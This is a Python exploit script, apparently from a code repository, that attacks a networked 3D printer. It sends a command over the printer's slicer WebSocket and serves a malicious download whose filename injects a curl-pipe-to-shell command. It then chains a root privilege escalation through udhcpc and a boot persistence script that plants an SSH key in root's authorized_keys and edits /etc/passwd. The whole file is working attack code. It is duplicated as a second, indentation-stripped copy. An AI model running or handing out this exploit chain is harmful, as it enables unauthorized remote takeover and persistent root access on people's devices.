C0DEbrained/k1c-2025-exploit.py

## k1c-2025-exploit.py
import sys
import argparse
import threading
import json
import time
from http.server import SimpleHTTPRequestHandler, HTTPServer
from urllib.parse import urlencode, quote

import websocket  # pip install websocket-client

PRINTER_PORT = 9999
SERVER_PORT = 4444

TIME = int(time.time())


class RequestHandler(SimpleHTTPRequestHandler):
    def do_GET(self):
        self.protocol_version = 'HTTP/1.0'

        if self.path.startswith("/exploit"):
            print(f"\n[!] Printer requested: {self.path}")

            # 1. Send 200 OK
            self.send_response(200)
            self.send_header('Content-Type', 'application/octet-stream')

            # 2. INJECT THE CRAFTED HEADER
            print(f"[!] Sending crafted Content-Disposition header")
            self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"')
            self.end_headers()

            # 3. Send dummy G-code content
            self.wfile.write(b"G28\n")
            print("[+] Payload sent! We should see a request for bootstrap.sh next....\n")
        elif self.path == "/bootstrap.sh":
            print("[+] Printer requested bootstrap.sh. Next up, privesc.py")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"""#!/bin/bash
wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py
chmod +x /tmp/privesc.py
udhcpc -f -n -i lo -s /tmp/privesc.py -q
            """.encode())
        elif self.path == "/privesc.py":
            print("[+] Printer requested privesc.py. Next up, S999persistence")
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"""#!/usr/bin/python3
import os
import subprocess
try:
    os.setuid(0)
    os.setgid(0)

    # Download S999persistence script to /etc/appetc/init.d/S999persistence
    subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"])
    subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"])
    subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"])
except Exception as e:
    # Write to /usr/data/printer_data/logs/privesc_error
    with open('/usr/data/printer_data/logs/privesc_error', 'w') as f:
        f.write(str(e))
            """.encode())
        elif self.path == "/S999persistence":
            self.send_response(200)
            self.end_headers()
            # Note: placeholder key line; update as needed when serving this path
            self.wfile.write(f"""#!/bin/sh
[[ -d /root/.ssh ]] || mkdir -p /root/.ssh
echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys
[[ -f /etc/dropbear/dropbear_ed25519_host_key ]] || dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key
[[ -f /etc/dropbear/dropbear_rsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
[[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] || dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key
sed -i 's#sbin/nologin#bin/sh#' /etc/passwd
""".encode())
            print("[!] Printer fetched the persistence script. We're finished!")
            print("[!] Now, wait 30 seconds and try SSHing to the printer.")
            sys.exit(0)


def start_server():
    # Listen on Port 80 for the download request
    server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler)
    print(f"[*] HTTP Server listening on port {SERVER_PORT}...")
    server.serve_forever()


def trigger_exploit():
    # Connect to the printer's specific Slicer port
    ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/"
    print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...")

    try:
        # CRITICAL: Must request the specific subprotocol
        ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"])
        print("[+] WebSocket Connected!")

        # Construct the JSON command
        payload = {
            "method": "set",
            "params": {
                # This triggers print_proc -> httpchunk -> RCE
                "print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}",
                "printId": "1337"
            }
        }

        print(f"[*] Sending trigger: {json.dumps(payload)}")
        ws.send(json.dumps(payload))

        time.sleep(2)
        ws.close()

    except Exception as e:
        print(f"[-] WebSocket Connection Failed: {e}")
        raise e


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit server and trigger")
    parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads")
    parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP")
    parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key")
    args = parser.parse_args()

    # Override globals with CLI values and recompute dependent values
    HOST_IP = args.host_ip
    PRINTER_IP = args.printer_ip
    # Read the public key from the file
    PUBLIC_KEY = str(open(args.public_key).read())

    if not PUBLIC_KEY:
        print("[-] Public key file is empty. Exiting.")
        sys.exit(1)

    SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh | sh"
    FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode")

    # 1. Start the HTTP server to host the payload
    t = threading.Thread(target=start_server)
    t.daemon = True
    t.start()

    # 2. Wait a moment, then fire the WebSocket trigger
    time.sleep(1)
    trigger_exploit()
	import sys
	import argparse
	import threading
	import json
	import time
	from http.server import SimpleHTTPRequestHandler, HTTPServer
	from urllib.parse import urlencode, quote

	import websocket # pip install websocket-client

	PRINTER_PORT = 9999
	SERVER_PORT = 4444

	TIME = int(time.time())


	class RequestHandler(SimpleHTTPRequestHandler):
	def do_GET(self):
	self.protocol_version = 'HTTP/1.0'

	if self.path.startswith("/exploit"):
	print(f"\n[!] Printer requested: {self.path}")

	# 1. Send 200 OK
	self.send_response(200)
	self.send_header('Content-Type', 'application/octet-stream')

	# 2. INJECT THE CRAFTED HEADER
	print(f"[!] Sending crafted Content-Disposition header")
	self.send_header('Content-Disposition', f'attachment; filename="{FILENAME}"')
	self.end_headers()

	# 3. Send dummy G-code content
	self.wfile.write(b"G28\n")
	print("[+] Payload sent! We should see a request for bootstrap.sh next....\n")
	elif self.path == "/bootstrap.sh":
	print("[+] Printer requested bootstrap.sh. Next up, privesc.py")
	self.send_response(200)
	self.end_headers()
	self.wfile.write(f"""#!/bin/bash
	wget http://{HOST_IP}:{SERVER_PORT}/privesc.py -O /tmp/privesc.py
	chmod +x /tmp/privesc.py
	udhcpc -f -n -i lo -s /tmp/privesc.py -q
	""".encode())
	elif self.path == "/privesc.py":
	print("[+] Printer requested privesc.py. Next up, S999persistence")
	self.send_response(200)
	self.end_headers()
	self.wfile.write(f"""#!/usr/bin/python3
	import os
	import subprocess
	try:
	os.setuid(0)
	os.setgid(0)

	# Download S999persistence script to /etc/appetc/init.d/S999persistence
	subprocess.run(["wget", "http://{HOST_IP}:{SERVER_PORT}/S999persistence", "-O", "/etc/appetc/init.d/S999persistence"])
	subprocess.run(["chmod", "+x", "/etc/appetc/init.d/S999persistence"])
	subprocess.run(["sh", "/etc/appetc/init.d/S999persistence"])
	except Exception as e:
	# Write to /usr/data/printer_data/logs/privesc_error
	with open('/usr/data/printer_data/logs/privesc_error', 'w') as f:
	f.write(str(e))
	""".encode())
	elif self.path == "/S999persistence":
	self.send_response(200)
	self.end_headers()
	# Note: placeholder key line; update as needed when serving this path
	self.wfile.write(f"""#!/bin/sh
	[[ -d /root/.ssh ]] \|\| mkdir -p /root/.ssh
	echo '{PUBLIC_KEY}' >> /root/.ssh/authorized_keys
	[[ -f /etc/dropbear/dropbear_ed25519_host_key ]] \|\| dropbearkey -t ed25519 -f /etc/dropbear/dropbear_ed25519_host_key
	[[ -f /etc/dropbear/dropbear_rsa_host_key ]] \|\| dropbearkey -t rsa -f /etc/dropbear/dropbear_rsa_host_key
	[[ -f /etc/dropbear/dropbear_ecdsa_host_key ]] \|\| dropbearkey -t rsa -f /etc/dropbear/dropbear_ecdsa_host_key
	sed -i 's#sbin/nologin#bin/sh#' /etc/passwd
	""".encode())
	print("[!] Printer fetched the persistence script. We're finished!")
	print("[!] Now, wait 30 seconds and try SSHing to the printer.")
	sys.exit(0)


	def start_server():
	# Listen on Port 80 for the download request
	server = HTTPServer(('0.0.0.0', SERVER_PORT), RequestHandler)
	print(f"[*] HTTP Server listening on port {SERVER_PORT}...")
	server.serve_forever()


	def trigger_exploit():
	# Connect to the printer's specific Slicer port
	ws_url = f"ws://{PRINTER_IP}:{PRINTER_PORT}/"
	print(f"[*] Connecting to {ws_url} using protocol 'wsslicer'...")

	try:
	# CRITICAL: Must request the specific subprotocol
	ws = websocket.create_connection(ws_url, subprotocols=["wsslicer"])
	print("[+] WebSocket Connected!")

	# Construct the JSON command
	payload = {
	"method": "set",
	"params": {
	# This triggers print_proc -> httpchunk -> RCE
	"print": f"http://{HOST_IP}:{SERVER_PORT}/exploit-{TIME}",
	"printId": "1337"
	}
	}

	print(f"[*] Sending trigger: {json.dumps(payload)}")
	ws.send(json.dumps(payload))

	time.sleep(2)
	ws.close()

	except Exception as e:
	print(f"[-] WebSocket Connection Failed: {e}")
	raise e


	if __name__ == "__main__":
	parser = argparse.ArgumentParser(description="Exploit server and trigger")
	parser.add_argument("--host-ip", dest="host_ip", required=True, help="IP of this machine hosting payloads")
	parser.add_argument("--printer-ip", dest="printer_ip", required=True, help="Target printer IP")
	parser.add_argument("--public-key", dest="public_key", required=True, help="Public RSA Key")
	args = parser.parse_args()

	# Override globals with CLI values and recompute dependent values
	HOST_IP = args.host_ip
	PRINTER_IP = args.printer_ip
	# Read the public key from the file
	PUBLIC_KEY = str(open(args.public_key).read())

	if not PUBLIC_KEY:
	print("[-] Public key file is empty. Exiting.")
	sys.exit(1)

	SHELL_COMMAND = f"curl http://{HOST_IP}:{SERVER_PORT}/bootstrap.sh \| sh"
	FILENAME = quote(f"dest\";{SHELL_COMMAND};#exploit.gcode")

	# 1. Start the HTTP server to host the payload
	t = threading.Thread(target=start_server)
	t.daemon = True
	t.start()

	# 2. Wait a moment, then fire the WebSocket trigger
	time.sleep(1)
	trigger_exploit()
No results found